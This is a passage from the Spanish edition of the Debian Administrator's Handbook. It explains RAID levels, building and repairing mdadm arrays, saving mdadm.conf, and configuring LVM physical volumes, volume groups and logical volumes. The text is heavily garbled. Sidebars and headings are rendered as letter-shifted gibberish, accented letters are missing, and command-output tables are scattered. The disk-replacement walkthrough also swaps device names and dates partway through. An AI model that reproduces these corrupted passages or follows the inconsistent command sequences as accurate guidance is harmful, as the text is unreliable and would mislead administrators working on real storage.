EPT DPNP SFQVFTUPT DVBOEP GBMMB BMHVOP EF MPT EJTDPT QSJODJQBMFT 1PS
FKFNQMP FO VO FTQFKP EF EPT EJTDPT NT VOP MJCSF TJ GBMMB VOP EF MPT
QSJNFSPT EJTDPT FM ODMFP BVUPNUJDBNFOUF F JONFEJBUBNFOUF
SFDPO
TUSVJS FM FTQFKP VUJMJ[BOEP FM EJTDP MJCSF QBSB DPOUJOVBS BTFHVSBOEP MB
SFEVOEBODJB MVFHP EFM UJFNQP EF SFDPOTUSVDDJO 1VFEF VUJMJ[BS FTUB
DBSBDUFSTUJDB DPNP PUSB CBSSFSB EF TFHVSJEBE QBSB EBUPT DSUJDPT
&T OPSNBM QSFHVOUBSTF QPSRV FTUP FT NFKPS RVF TJNQMFNFOUF DPOGJHV
SBS FM FTQFKP DPO USFT EJTDPT EFTEF FM DPNJFO[P -B WFOUBKB EF MB DPOGJH
VSBDJO DPO VO kEJTDP MJCSF{ FT RVF QVFEF DPNQBSUJS FTUF MUJNP FOUSF
WBSJPT WPMNFOFT 3"*% 1PS FKFNQMP VOP QVFEF UFOFS USFT WPMNFOFT
FO FTQFKP BTFHVSBOEP SFEVOEBODJB FO DBTP RVF GBMMF VO EJTDP DPO TMP
TJFUF EJTDPT USFT QBSFT NT VO EJTDP MJCSF DPNQBSUJEP
FO MVHBS EF MPT
OVFWF EJTDPT RVF OFDFTJUBSB QBSB DPOGJHVSBS USFT USPT EF EJTDPT

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Este nivel de RAID, aunque costoso (debido a que slo es til la mitad del espacio de almacenamiento en el mejor de los casos) es muy utilizado en la prctica. Es simple de entender
y permite respaldos muy simples, como ambos discos tienen el mismo contenido puede
extraer temporalmente uno de ellos sin impactar el funcionamiento del sistema. Usualmente aumenta el rendimiento de lectura ya que el ncleo puede leer la mitad de los datos
de cada disco en paralelo, mientras que el rendimiento de escritura no se ve afectado muy
seriamente. En el caso de un array RAID-1 de N discos, los datos continuarn disponibles
en caso que fallen N-1 discos.
RAID-4 Este nivel de RAID, que no es muy utilizado, utiliza N discos para almacenar datos tiles
y un disco extra para almacenar informacin de redundancia. Si falla este disco, el sistema
puede reconstruir su contenido de los otros N. Si uno de los N discos de datos falla, la
combinacin de los dems N-1 discos junto con el disco de paridad contiene suficiente
informacin para reconstruir los datos necesarios.
RAID-4 no es demasiado costoso ya que slo implica un aumento de uno-en-N en los costos y no tiene un impacto significativo en el rendimiento de lectura, pero se reduce la
velocidad de escritura. Lo que es ms, debido a que escribir en cualquier disco involucra
escribir en el disco de paridad este ltimo recibir muchas ms escrituras que los dems
y, como consecuencia, podra reducir su tiempo de vida dramticamente. Los datos en un
array RAID-4 estn seguro slo contra el fallo de un disco (de los N+1).
RAID-5 RAID-5 soluciona el problema de asimetra de RAID-4: los bloques de paridad estn distribuidos en todos los N+1 discos, ninguno de los discos tiene un rol particular.
El rendimiento de lectura y escritura es idntica a la de RAID-4. Aqu tambin el sistema
continuar su funcionamiento con el fallo de hasta un disco (de los N+1), pero no ms.
RAID-6 Se puede considerar a RAID-6 como una extensin de RAID-5, donde cada serie de N
bloques poseen dos bloques de redundancia, y cada serie de N+2 bloques est distribuida
en N+2 discos.
Este nivel de RAID es ligeramente ms costoso que los dos anteriores, pero agrega seguridad adicional ya que pueden fallar hasta dos discos (de N+2) sin comprometer la disponibilidad de los datos. Por el otro lado, las operaciones de escritura ahora deben escribir un
bloque de datos y dos bloques de redundancia, lo que lo hace an ms lento.
RAID-1+0 Estrictamente hablando, este no es un nivel RAID sino la combinacin de dos agrupaciones RAID. Comience con 2N discos, configrelos en pares de N volmenes RAID-1;
y luego agrupe estos N volmenes en slo uno, ya sea con RAID lineal o (cada vez ms)
LVM. Este ltimo caso va ms all de RAID puro, pero no hay problemas con ello.
RAID-1+o puede sobrevivir el fallo de varios discos, hasta N en el array de 2N antes descripto, siempre que contine trabajando al menos uno de los discos en cada par RAID-1.
:&/%0 .4 "--
3"*%

(FOFSBMNFOUF TF DPOTJEFSB B 3"*% DPNP TJOOJNP EF 3"*% 


QFSP BMHP FTQFDGJDP EF -JOVY MP IBDF FO SFBMJEBE VOB HFOFSBMJ[BDJO

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



&TUB DPOGJHVSBDJO QFSNJUF VO TJTUFNB FO FM RVF DBEB CMPRVF FTU BM


NBDFOBEP FO EPT EJTDPT EJGFSFOUFT BO DPO VOB DBOUJEBE JNQBS EF
EJTDPT DPO MBT DPQJBT EJTUSJCVJEBT FO VO NPEFMP DPOGJHVSBCMF
&M SFOEJNJFOUP WBSJBS EFQFOEJFOEP EFM NPEFMP EF SFQBSUP Z FM OJWFM EF
SFEVOEBODJB RVF TFMFDDJPOF BT DPNP UBNCJO EF MB DBSHB FO FM WPM
NFO MHJDP

Obviamente, seleccionar el nivel RAID segn las limitaciones y requisitos de cada aplicacin.
Sepa que un mismo equipo puede tener varios arrays RAID distintos con diferentes configuraciones.

$POGJHVSBDJO EF 3"*%
Para configurar un volmen RAID necesitar el paquete mdamd ; ste provee el programa mdadm,
que permite crear y modificar arrays RAID, as como tambin scripts y herramientas que lo integran al resto del sistema, incluyendo el sistema de monitorizacin.
Nuestro ejemplo ser un servidor con una cantidad de discos, algunos que ya estn utilizados, y
el resto se encuentran disponibles para configurar RAID. Inicialmente tendremos los siguientes
discos y particiones:
el disco sdb, de 4 GB, completamente disponible;
el disco sdc, de 4 GB, tambin completamente disponible;
en el disco sdd hay disponible una nica particin sdd2 (de alrededor de 4 GB);
finalmente, un disco sde, tambin de 4 GB, completamente disponible.
/05"
*EFOUJGJDBDJO EF WPMNFOFT
3"*% FYJTUFOUFT

&M BSDIJWP /proc/mdstat FOVNFSB MPT WPMNFOFT FYJTUFOUFT Z TVT FTUBEPT


$VBOEP DSFF WPMNFOFT 3"*% EFCF UFOFS DVJEBEP EF OP OPNCSBSMPT JHVBM
B BMHO WPMNFO FYJTUFOUF

Utilizaremos estos elementos fsicos para crear dos volmenes, un RAID-0 y un espejo (RAID-1).
Comencemos con el volmen RAID-0:
# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
# mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Thu Jan 17 15:56:55 2013
Raid Level : raid0
Array Size : 8387584 (8.00 GiB 8.59 GB)
Raid Devices : 2



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Total Devices : 2
Persistence : Superblock is persistent
Update Time
State
Active Devices
Working Devices
Failed Devices
Spare Devices

:
:
:
:
:
:

Thu Jan 17 15:56:55 2013


clean
2
2
0
0

Chunk Size : 512K


Name : mirwiz:0 (local to host mirwiz)
UUID : bb085b35:28e821bd:20d697c9:650152bb
Events : 0
Number
Major
Minor
RaidDevice State
0
8
16
0
active sync
/dev/sdb
1
8
32
1
active sync
/dev/sdc
# mkfs.ext4 /dev/md0
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=128 blocks, Stripe width=256 blocks
524288 inodes, 2096896 blocks
104844 blocks (5.00 %) reserved for the super user
First data block=0
Maximum filesystem blocks=2147483648
64 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/raid-0
# mount /dev/md0 /srv/raid-0
# df -h /srv/raid-0
Filesystem
Size Used Avail Use % Mounted on
/dev/md0
7.9G 146M 7.4G
2 % /srv/raid-0

La orden mdadm --create necesita varios parmetros: el nombre del volmen a crear (/dev/
md*, donde MD es acrnimo de mltiples dispositivos Multiple Device), el nivel RAID, la cantidad de discos (que es obligatorio a pesar de que sea slo importante con RAID-1 y superior),

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



y los dispositivos fsicos a utilizar. Una vez que cre el dispositivo, podemos utilizarlo como si
fuese una particin normal, crear un sistema de archivos en l, montarlo, etc. Sepa que el que
creramos un volmen RAID-0 como md0 es slo una coincidencia, la numeracin del array no
tiene correlacin alguna con la cantidad de redundancia elegida. Tambin es posible crear arrays RAID con nombre si se proveen los parmetros correctos a mdadm, como /dev/md/linear
en lugar de /dev/md0.
Crear un RAID-1 es similar, las diferencias slo son notables luego:
# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1 %
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md1
/dev/md1:
Version : 1.2
Creation Time : Thu Jan 17 16:13:04 2013
Raid Level : raid1
Array Size : 4192192 (4.00 GiB 4.29 GB)
Used Dev Size : 4192192 (4.00 GiB 4.29 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
Update Time
State
Active Devices
Working Devices
Failed Devices
Spare Devices

:
:
:
:
:
:

Thu Jan 17 16:13:04 2013


clean, resyncing (PENDING)
2
2
0
0

Name : mirwiz:1 (local to host mirwiz)


UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 0
Number
Major
Minor
0
8
50
1
8
64
# mdadm --detail /dev/md1
/dev/md1:
[...]
State : clean



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

RaidDevice State
0
active sync
1
active sync

/dev/sdd2
/dev/sde

[...]

46(&3&/$*"
3"*% EJTDPT Z QBSUJDJPOFT

$PNP NVFTUSB OVFTUSP FKFNQMP QVFEF DPOTUSVJS EJTQPTJUJWPT 3"*% DPO QBSUJ
DJPOFT EF EJTDPT OP OFDFTJUB EJTDPT DPNQMFUPT

Son necesarios algunos comentarios. Primero, mdadm est al tanto que los elementos fsicos tiene
diferentes tamaos; se necesita confirmar ya que esto implicar que perder espacio en el elemento ms grande.
Lo que es ms importante, revise el estado del espejo. El estado normal de un espejo RAID es
que ambos discos tengan el mismo contenido. Sin embargo, nada garantiza que este sea el caso
cuando se crea el volumen. Por lo tanto, el subsistema RAID dar esta garanta por su cuenta
y, tan pronto como se crea el dispositivo RAID, habr una fase de sincronizacin. Luego de un
tiempo (cunto exactamente depender del tamao de los discos), el array RAID cambiar al
estado active (activo). Sepa que durante esta fase de reconstruccin el espejo se encuentra en
modo degradado y no se asegura redundancia. Si falla un disco durante esta ventana de riesgo
podr perder toda la informacin. Sin embargo, rara vez se almacenan grandes cantidades de
datos crticos en un array RAID creado recientemente antes de su sincronizacin inicial. Sepa
que an en modo degradado puede utilizar /dev/md1 y puede crear en l un sistema de archivos
as como tambin copiar datos.
46(&3&/$*"
*OJDJP EF VO FTQFKP FO NPEP
EFHSBEBEP

" WFDFT OP TF FODVFOUSBO JONFEJBUBNFOUF EJTQPOJCMFT EPT EJTDPT DVBOEP VOP


EFTFB JOJDJBS VO FTQFKP 3"*% QPS FKFNQMP QPSRVF VOP EF MPT EJTDPT RVF VOP
QMBOFB VUJMJ[BS FTU TJFOEP VUJMJ[BEP Z DPOUJFOF MPT EBUPT RVF VOP RVJFSF BM
NBDFOBS FO FM BSSBZ &O FTUBT TJUVBDJPOFT FT QPTJCMF DSFBS JOUFODJPOBMNFOUF
VO BSSBZ 3"*% EFHSBEBEP TJ TF VUJMJ[B missing FO MVHBS EFM BSDIJWP EFM EJT
QPTJUJWP DPNP VOP EF MPT QBSNFUSPT EF mdadm 6OB WF[ RVF DPQJ MPT EBUPT
BM kFTQFKP{ QVFEF BHSFHBS FM EJTDP BOUJHVP BM BSSBZ -VFHP PDVSSJS MB GBTF EF
TJODSPOJ[BDJO QSPWFZFOEP MB SFEVOEBODJB RVF EFTFCBNPT FO QSJNFS MVHBS

46(&3&/$*"
$POGJHVSBDJO EF VO FTQFKP
TJO TJODSPOJ[BDJO

6TVBMNFOUF DSFBS WPMNFOFT 3"*% QBSB TFS VUJMJ[BEPT DPNP VO EJTDP OVF
WP HFOFSBMNFOUF DPOTJEFSBEPT FO CMBODP &M DPOUFOJEP JOJDJBM EFM EJTDP OP FT
SFBMNFOUF SFMFWBOUF ZB RVF VOP TMP OFDFTJUB TBCFS RVF TF QPESO BDDFEFS
MVFHP B MPT EBUPT FTDSJUPT MVFHP RVF DSFBNPT FM WPMVNFO FO QBSUJDVMBS FM TJT
UFNB EF BSDIJWPT
1PS MP UBOUP VOP QPESB QSFHVOUBSTF FM TFOUJEP EF TJODSPOJ[BS BNCPT EJTDPT BM
NPNFOUP EF DSFBSMP 1PSRV JNQPSUB TJ FM DPOUFOJEP FT JEOUJDP FO MBT [POBT
EFM WPMNFO RVF TBCFNPT TMP TFSO BDDFEJEBT MVFHP RVF FTDSJCBNPT FO FMMBT
"GPSUVOBEBNFOUF QVFEF FWJUBS FTUB GBTF EF TJODSPOJ[BDJO DPO MB PQDJO -assume-clean EF mdadm 4JO FNCBSHP FTUB PQDJO QVFEF MMFWBS B TPSQSFTBT FO
DBTPT FO FM RVF TF MFBO MPT EBUPT JOJDJBMFT QPS FKFNQMP TJ ZB FYJTUF VO TJTUFNB
EF BSDIJWPT FO MPT EJTDPT GTJDPT
MP RVF FYQMJDB QPSRV OP FT BDUJWBEB EF GPSNB
QSFEFUFSNJOBEB

Veamos ahora qu sucede cuando falla uno de los elementos del array RAID-1. mdadm, su opcin
GBJM en particular, permite simular tal fallo:

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



# mdadm /dev/md1 --fail /dev/sde


mdadm: set /dev/sde faulty in /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Thu Jan 17 16:14:09 2013
State : active, degraded
Active Devices : 1
Working Devices : 1
Failed Devices : 1
Spare Devices : 0
Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 19
Number
0
1
1

Major
8
0

Minor
50
0

RaidDevice State
0
active sync
1
removed

64

faulty spare

/dev/sdd2

/dev/sde

El contenido del volmen contina accesible (y, si est montado, las aplicaciones no lo notarn),
pero ya no se asegura la seguridad de los datos: en caso que falle el disco sdd, perder los datos.
Deseamos evitar este riesgo, por lo que reemplazaremos el disco fallido con uno nuevo, sdf:
# mdadm /dev/md1 --add /dev/sdi
mdadm: added /dev/sdi
# mdadm --detail /dev/md1
/dev/md1:
[...]
Raid Devices : 2
Total Devices : 3
Persistence : Superblock is persistent
Update Time
State
Active Devices
Working Devices
Failed Devices
Spare Devices

:
:
:
:
:
:

Thu Sep 30 15:52:29 2010


active, degraded, recovering
1
2
1
1

Rebuild Status : 45 % complete


Name : squeeze:1 (local to host squeeze)
UUID : 20a8419b:41612750:b9171cfe:00d9a432
Events : 53
Number



Major

Minor

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

RaidDevice State

0
3

8
8

98
128

0
1

active sync
/dev/sdg2
spare rebuilding
/dev/sdi

2
8
112
faulty spare
# [...]
[...]
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Thu Sep 30 15:52:35 2010
State : active
Active Devices : 2
Working Devices : 2
Failed Devices : 1
Spare Devices : 0

/dev/sdh

Name : squeeze:1 (local to host squeeze)


UUID : 20a8419b:41612750:b9171cfe:00d9a432
Events : 71
Number
0
1
2

Major
8
8

Minor
98
128

112

RaidDevice State
0
active sync
1
active sync
-

faulty spare

/dev/sdg2
/dev/sdi
/dev/sdh

Nuevamente, el ncleo automticamente inicia una fase de reconstruciin durante la que el


volmen, aunque contina disponible, se encuentra en modo degradado. Una vez finalizada la
reconstruccin, el array RAID volver a estado normal. Uno puede indicarle al sistema que eliminar el disco sde del array, para obtener un espejo RAID clsico en dos discos:
# mdadm /dev/md1 --remove /dev/sde
mdadm: hot removed /dev/sde from /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Number
Major
Minor
RaidDevice State
0
8
50
0
active sync
2
8
80
1
active sync

/dev/sdd2
/dev/sdf

De all en adelante, puede quitar fsicamente el dispositivo la prxima vez que se apague el servidor, o inclusive quitarlo en caliente si la configuracin del hardware lo permite. Tales configuraciones incluyen algunos controladores SCSI, la mayora de los discos SATA y discos externos
USB o Firewire.

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



3FTQBMEPT EF MB DPOGJHVSBDJO
La mayora de los metadatos de los volmenes RAID se almacenan directamente en los discos
que componen dichos arrays, de esa forma el ncleo puede detectar el array y sus componentes
y ensamblarlos automticamente cuando inicia el sistema. Sin embargo, se recomienda respaldar esta configuracin ya que esta deteccin no es infalible y, como no poda ser de otra forma,
fallar precisamente en las circunstancias ms sensibles. En nuestro ejemplo, si el fallo del disco sde hubiese sido real (en lugar de similada) y se hubiese reiniciado el sistema sin quitar el
disco sde, ste podra ser utilizado nuevamente debido a haber sido probado durante el reinicio. El ncleo entonces tendra tres elementos fsicos, cada uno de los cuales indica poseer la
mitad del mismo volumen RAID. Otra fuente de confusin es cuando se consolidan en un servidor volmenes RAID de dos servidores. Si los arrays funcionaban normalmente antes de quitar
los discos, el ncleo podr detectarlos y reconstruir los pares correctamente; pero si los discos
mudados se encontraban agrupados como md1 en el antiguo servidor pero el nuevo servidor ya
posee un grupo md1, se modificar el nombre de uno de los espejos.
Por lo tanto es importante respaldar la configuracin, aunque sea tan slo como referencia. La
forma estndar de realizarlo es editar el archivo /etc/mdadm/mdadm.conf, a continuacin un
ejemplo del mismo:
&KFNQMP 

"SDIJWP EF DPOGJHVSBDJO EF mdadm

# mdadm.conf
#
# Revise mdadm.conf(5) para ms informacin sobre este archivo.
#
# de forma predeterminada, buscar superbloques MD en todas las
# particiones (/proc/partitions) y contenedores. Alternativamente,
# especifique los dispositivos a escanear, utilice comodines si
# es necesario.
DEVICE /dev/sd*
# crear dispositivos automticamente con permisos estndar en Debian
CREATE owner=root group=disk mode=0660 auto=yes
# etiquetar automticamente arrays como locales al sistema
HOMEHOST <system>
# indicarle al demonio de monitorizacin que enve correos de alerta
MAILADDR root
# definiciones para arrays MD existentes
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464
# Se autogener esta configuracin el da Jue 17 de Ene 2013 16:21:01 +0100



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# con mkconf 3.2.5-3

Uno de los detalles ms tiles es la opcin %&7*$&, que enumera los dispositivos en los que el
sistema buscar componentes de un volumen RAID automticamente cuando inicia. En nuestro
ejemplo, reemplazamos el valor predeterminado, QBSUJUJPOT DPOUBJOFST, con una lista explcita
de archivos de dispositivos, ya que para algunos volmenes elegimos utilizar discos enteros y
no slo particiones.
Las dos ltimas lneas en nuestro ejemplo son las que le permiten al ncleo seleccionar de forma
segura qu nmero de volumen asignar a qu array. Los metadatos almacenados en los mismos
discos son suficientes para reconstruir los volmenes, pero no para determinar el nmero del
mismo (y el nombre del dispositivo /dev/md* correspondiente).
Afortunadamente, puede generar estas lneas automticamente:
# mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464

El contenido de estas dos ltimas lneas no depende de la lista de discos incluidos en el volumen.
Por lo tanto, no es necesario regenerar estas lneas cuando reemplace un disco fallido con uno
nuevo. Por el otro lado, debe asegurarse de actualizar el archivo cuando cree o elimine un array
RAID.

 -7.
, el gestor de volmenes lgicos (Logical Volume Manager), es otra forma de abstraer volmenes
lgicos de su soporte fsico, que se enfoca en mayor flexibilidad en lugar de aumentar confiabilidad. LVM permite modificar un volumen lgico de forma transparente a las aplicaciones;
por ejemplo, es posible agregar nuevos discos, migrar sus datos y eliminar discos antiguos sin
desmontar el volumen.

$PODFQUPT EF -7.
Se consigue esta flexibilidad con un nivel de abstraccin que incluye tres conceptos.
Primero, el PV (volumen fsico: Physical Volume) es la entidad ms cercana al hardware: pueden
ser particiones en un disco, un disco completo o inclusive cualquier dispositivo de bloque (tambin un array RAID, por ejemplo). Sepa que cuando configura un elemento fsico como PV para
LVM, slo debe acceder al mismo a travs de LVM, de lo contrario confundir al sistema.
Puede agrupar una cantidad de PVs en un VG (grupo de volmenes: Volume Group), lo que puede
compararse con discos virtuales y extensibles. Los VGs son abstractos y no aparecern como un
archivo de dispositivo en la jerarqua /dev, por lo que no hay riesgo de utilizarlos directamente.
El tercer tipo de objeto es el LV (volmen lgico: Logical Volume), que es una porcin de un
VG; si continuamos con la analoga de un VG-como-disco, un LV se compara a una particin. El

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



LV ser un dispositivo de bloque que tendr un elemento en /dev y puede utilizarlo como lo
hara con cualquier particin fsica (usualmente, almacenar un sistema de archivos o espacio de
intercambio).
Lo importante es que la divisin de un VG en varios LVs es completamente independiente de sus
componentes fsicos (los PVs). Puede dividir un VG con un slo componente fsico (un disco por
ejemplo) en una docena de volmenes lgicos; similarmente, un VG puede utilizar varios discos
fsicos y aparecer como slo un volmen lgico grande. La nica limitacin es que, obviamente,
el tamao total asignado a un LV no puede ser mayor que la capacidad total de los PVs en el
grupo de volmenes.
Generalmente tiene sentido, sin embargo, mantener el mismo tipo de homogeneidad entre los
componentes fsicos de un VG y dividir el VG en volmenes lgicos que tendrn patrones de uso
similares. Por ejemplo, si el hardware disponible incluye discos rpidos y discos lentos, podra
agrupar los discos rpidos en un VG y los lentos en otro; puede asignar pedazos del primero a
aplicaciones que necesiten acceso rpido a los datos y mantener el segundo para tareas menos
exigentes.
En cualquier caso, recuerde que un LV no est asociado especialmente a ningn PV. Es posible influenciar dnde se almacenarn fsicamente los datos de un LV, pero esta posibilidad no
es necesaria para el uso diario. Por el contrario, cuando evolucionan los componentes fsicos
de un VG, puede migrar las ubicaciones fsicas del almacenamiento que corresponden a un LV
particuar (siempre mantenindose dentro de los PVs asignados al VG por supuesto).

$POGJHVSBDJO EF -7.
Sigamos ahora, paso a paso, el proceso de configuracin de LVM para un caso de uso tpico: deseamos simplificar una situacin compleja de almacenamiento. Situaciones como esta generalmente ocurren luego de una historia larga y complicada de medidas temporales que se acumulan. A modo ilustrativo utilizaremos un servidor en el que las necesidades de almacenamiento
cambiaron con el tiempo, lo que culmin en un laberinto de particiones disponibles divididas
en varios discos parcialmente utilizados. En trminos ms concretos, estn disponibles las siguientes particiones:
en el disco sdb, una particin sdb2 de 4Gb;
en el disco sdc, una particin sdc3 de 3 GB;
el disco sdd, de 4 GB, completamente disponible;
en el disco sdf, una particin sdf1 de 4 GB y una particin sdf2 de 5GB.
Adems, asumiremos que los discos sdb y sdf son ms rpidos que los otros dos.
Nuestro objetivo es configurar tres volmenes lgicos para tres aplicaciones diferentes: un
servidor de archivos que necesita 5 GB como espacio de almacenamiento, una base de datos (1
GB) y un poco de espacio para respaldos (12 GB). Los primeros dos necesitan buen rendimiento,
pero los respaldos son menos crticos en cuanto a velocidad de acceso. Todas estas limitaciones



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

evitan que simplemente utilicemos particiones; utilizar LVM puede abstraer el tamao fsico de
los dispositivos, por lo que el nico lmite es el espacio total disponible.
El paquete lvm2 y sus dependencias contienen las herramientas necesarias. Despus de instalarlos, configurar LVM son tres pasos que coinciden con los tres niveles de conceptos.
Primero, prepararemos los volmenes fsicos utilizando pvcreate:
# pvdisplay
# pvcreate /dev/sdb2
Writing physical volume data to disk "/dev/sdb2"
Physical volume "/dev/sdb2" successfully created
# pvdisplay
"/dev/sdb2" is a new physical volume of "4.00 GiB"
--- NEW Physical volume --PV Name
/dev/sdb2
VG Name
PV Size
4.00 GiB
Allocatable
NO
PE Size
0
Total PE
0
Free PE
0
Allocated PE
0
PV UUID
0zuiQQ-j1Oe-P593-4tsN-9FGy-TY0d-Quz31I
# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done
Writing physical volume data to disk "/dev/sdc3"
Physical volume "/dev/sdc3" successfully created
Writing physical volume data to disk "/dev/sdd"
Physical volume "/dev/sdd" successfully created
Writing physical volume data to disk "/dev/sdf1"
Physical volume "/dev/sdf1" successfully created
Writing physical volume data to disk "/dev/sdf2"
Physical volume "/dev/sdf2" successfully created
# pvdisplay -C
PV
VG
Fmt Attr PSize PFree
/dev/sdb2
lvm2 a-- 4.00g 4.00g
/dev/sdc3
lvm2 a-- 3.09g 3.09g
/dev/sdd
lvm2 a-- 4.00g 4.00g
/dev/sdf1
lvm2 a-- 4.10g 4.10g
/dev/sdf2
lvm2 a-- 5.22g 5.22g

Hasta ahora, todo va bien; sepa que puede configurar un PV en un disco completo as como tambin en particiones individuales del mismo. Como mostramos, el programa pvdisplay enumera
los PVs existentes, con dos formatos de salida posibles.
Ahora agruparemos estos elementos fsicos en VGs utilizando vgcreate. Reuniremos PVs de los
discos rpidos en el VG vg_critical; el otro VG, vg_normal tambin incluir los elementos ms
lentos.
# vgdisplay

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



No volume groups found


# vgcreate vg_critical /dev/sdb2 /dev/sdf1
Volume group "vg_critical" successfully created
# vgdisplay
--- Volume group --VG Name
vg_critical
System ID
Format
lvm2
Metadata Areas
2
Metadata Sequence No 1
VG Access
read/write
VG Status
resizable
MAX LV
0
Cur LV
0
Open LV
0
Max PV
0
Cur PV
2
Act PV
2
VG Size
8.09 GiB
PE Size
4.00 MiB
Total PE
2071
Alloc PE / Size
0 / 0
Free PE / Size
2071 / 8.09 GiB
VG UUID
bpq7zO-PzPD-R7HW-V8eN-c10c-S32h-f6rKqp
# vgcreate vg_normal /dev/sdc3 /dev/sdd
Volume group "vg_normal" successfully
# vgdisplay -C
VG
#PV #LV #SN Attr
VSize
vg_critical
2
0
0 wz--n- 8.09g
vg_normal
3
0
0 wz--n- 12.30g

/dev/sdf2
created
VFree
8.09g
12.30g

Aqu tambin los programas son bastante directos (y vgdisplay tambin propone dos formatos
de salida). Sepa que es posible utilizar dos particiones del mismo disco fsico en dos VGs diferentes. Adems utilizamos el prefijo vg_ para el nombre de nuestros VGs, pero es slo una convencin.
Ahora contamos con dos discos virtuales, de alrededor 8 GB y 12 GB de tamao respectivamente. Ahora los repartiremos en particiones virtuales (LVs). Esto involucra el programa
lvcreate y una sintaxis ligeramente ms compleja:
# lvdisplay
# lvcreate -n lv_files -L 5G vg_critical
Logical volume "lv_files" created
# lvdisplay
--- Logical volume --LV Path
/dev/vg_critical/lv_files
LV Name
lv_files
VG Name
vg_critical
LV UUID
J3V0oE-cBYO-KyDe-5e0m-3f70-nv0S-kCWbpT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

LV Write Access
LV Creation host, time
LV Status
# open
LV Size
Current LE
Segments
Allocation
Read ahead sectors
- currently set to
Block device

read/write
mirwiz, 2013-01-17 17:05:13 +0100
available
0
5.00 GiB
1280
2
inherit
auto
256
253:0

# lvcreate -n lv_base -L 1G vg_critical


Logical volume "lv_base" created
# lvcreate -n lv_backups -L 12G vg_normal
Logical volume "lv_backups" created
# lvdisplay -C
LV
VG
Attr
LSize Pool Origin Data % Move Log Copy % Convert
lv_base
vg_critical -wi-a--- 1.00g
lv_files
vg_critical -wi-a--- 5.00g
lv_backups vg_normal
-wi-a--- 12.00g

Necesita dos parmetros cuando cree volmenes lgicos; debe proveerlos a lvcreate como opciones. Especificar el nombre del LV a crear con la opcin O y, usualmente, su tamao con la
opcin -. Por supuesto, tambin necesitaremos indicarle sobre qu VG trabajar, de all el ltimo
parmetro en la ejecucin.
:&/%0 .4 "--
0QDJPOFT EF lvcreate

&M QSPHSBNB lvcreate UJFOF WBSJBT PQDJPOFT RVF NPEJGJDBO MB DSFBDJO EFM -7
1SJNFSP EFTDSJCBNPT MB PQDJO -l DPO MB RVF QVFEF JOEJDBS FM UBNBP EFM -7
DPNP VOB DBOUJEBE EF CMPRVFT FO MVHBS EF MBT VOJEBEFT kIVNBOBT{ RVF VUJ
MJ[BNPT FO FM FKFNQMP
 &TUPT CMPRVFT 1&T FO USNJOPT EF -7. FYUFOTJPOFT
GTJDBT kQIZTJDBM FYUFOUT{
TPO VOJEBEFT EF FTQBDJP EF BMNBDFOBNJFOUP DPO
UJHVP FO MPT 17T Z OP QVFEFO EJWJEJSTF FOUSF -7T $VBOEP VOP EFTFB EFGJOJS
FM FTQBDJP EF BMNBDFOBNJFOUP QBSB VO -7 DPO DJFSUB QSFDJTJO QPS FKFNQMP
QBSB VUJMJ[BS UPEP FM FTQBDJP EJTQPOJCMF HFOFSBMNFOUF FT QSFGFSJCMF VUJMJ[BS MB
PQDJO -l FO MVHBS EF -L
5BNCJO FT QPTJCMF TVHFSJS MB VCJDBDJO GTJDB EF VO -7 QBSB RVF TF BMNBDFOFO
TVT FYUFOTJPOFT FO VO 17 QBSUJDVMBS PCWJBNFOUF MJNJUOEPTF B BRVFMMBT BTJH
OBEBT BM 7(
 %BEP RVF TBCFNPT RVF sdb FT NT SQJEP RVF sdf EFTFBSBNPT
BMNBDFOBS lv_base BMM TJ OPT JOUFSFTB EBSMF VOB WFOUBKB BM TFSWJEPS EF CBTF EF
